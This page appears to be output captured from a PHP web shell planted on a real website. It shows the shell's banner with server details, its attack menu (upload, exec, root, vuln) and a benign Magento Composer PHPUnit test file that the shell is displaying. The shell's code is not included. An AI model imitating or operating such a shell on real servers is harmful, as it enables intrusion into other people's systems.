Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 3.147.44.134 | Time @ Server : 19 Oct 2024 07:11:53
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/magento/composer/tests/Composer/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/composer/tests/Composer/RequireUpdateDryRunCommandTest.php

<?php /** * Copyright © 2016 Magento. All rights reserved. * See COPYING.txt for license details. */ use Magento\Composer\MagentoComposerApplication; use Magento\Composer\InfoCommand; use Magento\Composer\RequireUpdateDryRunCommand; class RequireUpdateDryRunCommandTest extends \PHPUnit\Framework\TestCase { /** * @var MagentoComposerApplication|\PHPUnit_Framework_MockObject_MockObject */ protected $application; /** * @var InfoCommand|\PHPUnit_Framework_MockObject_MockObject */ protected $infoCommand; /** * @var RequireUpdateDryRunCommand */ protected $requireUpdateDryRunCommand; /** * @var string */ private $errorMessage = 'Loading composer repositories with package information Updating dependencies (including require-dev) Your requirements could not be resolved to an installable set of packages. Problem 1 - 3rdp/e 1.0.0 requires 3rdp/d 1.0.0 -> no matching package found. - 3rdp/e 1.0.0 requires 3rdp/d 1.0.0 -> no matching package found. - 3rdp/e 1.0.0 requires 3rdp/d 1.0.0 -> no matching package found. - Installation request for 3rdp/e 1.0.0 -> satisfiable by 3rdp/e[1.0.0]. Potential causes: - A typo in the package name - The package is not available in a stable-enough version according to your minimum-stability setting see <https://groups.google.com/d/topic/composer-dev/_g3ASeIFlrc/discussion> for more details. Read <https://getcomposer.org/doc/articles/troubleshooting.md> for further common problems.'; /** * @var string */ private $packageInfo = [ 'name' => '3rdp/d', 'descrip.' => 'Plugin project A', 'versions' => '* 1.0.0, 1.1.0, 1.2.0', 'keywords' => '', 'type' => 'library', 'names' => '3rdp/d', 'current_version' => '1.0.0', 'available_versions' => [ '1.1.0', '1.2.0' ] ]; protected function setUp() { $this->application = $this->createMock(\Magento\Composer\MagentoComposerApplication::class); $this->infoCommand = $this->createMock(\Magento\Composer\InfoCommand::class); $this->requireUpdateDryRunCommand = new RequireUpdateDryRunCommand( $this->application, $this->infoCommand ); } public function testRun() { $this->application->expects($this->exactly(2))->method('runComposerCommand'); $this->requireUpdateDryRunCommand->run([], ''); } /** * @expectedException \RuntimeException * @expectedExceptionMessage */ public function testRunException() { $this->application->expects($this->at(1)) ->method('runComposerCommand') ->willThrowException(new \RuntimeException($this->errorMessage)); $this->infoCommand->expects($this->once())->method('run')->willReturn($this->packageInfo); $this->requireUpdateDryRunCommand->run(['3rdp/e 1.2.0'], ''); } }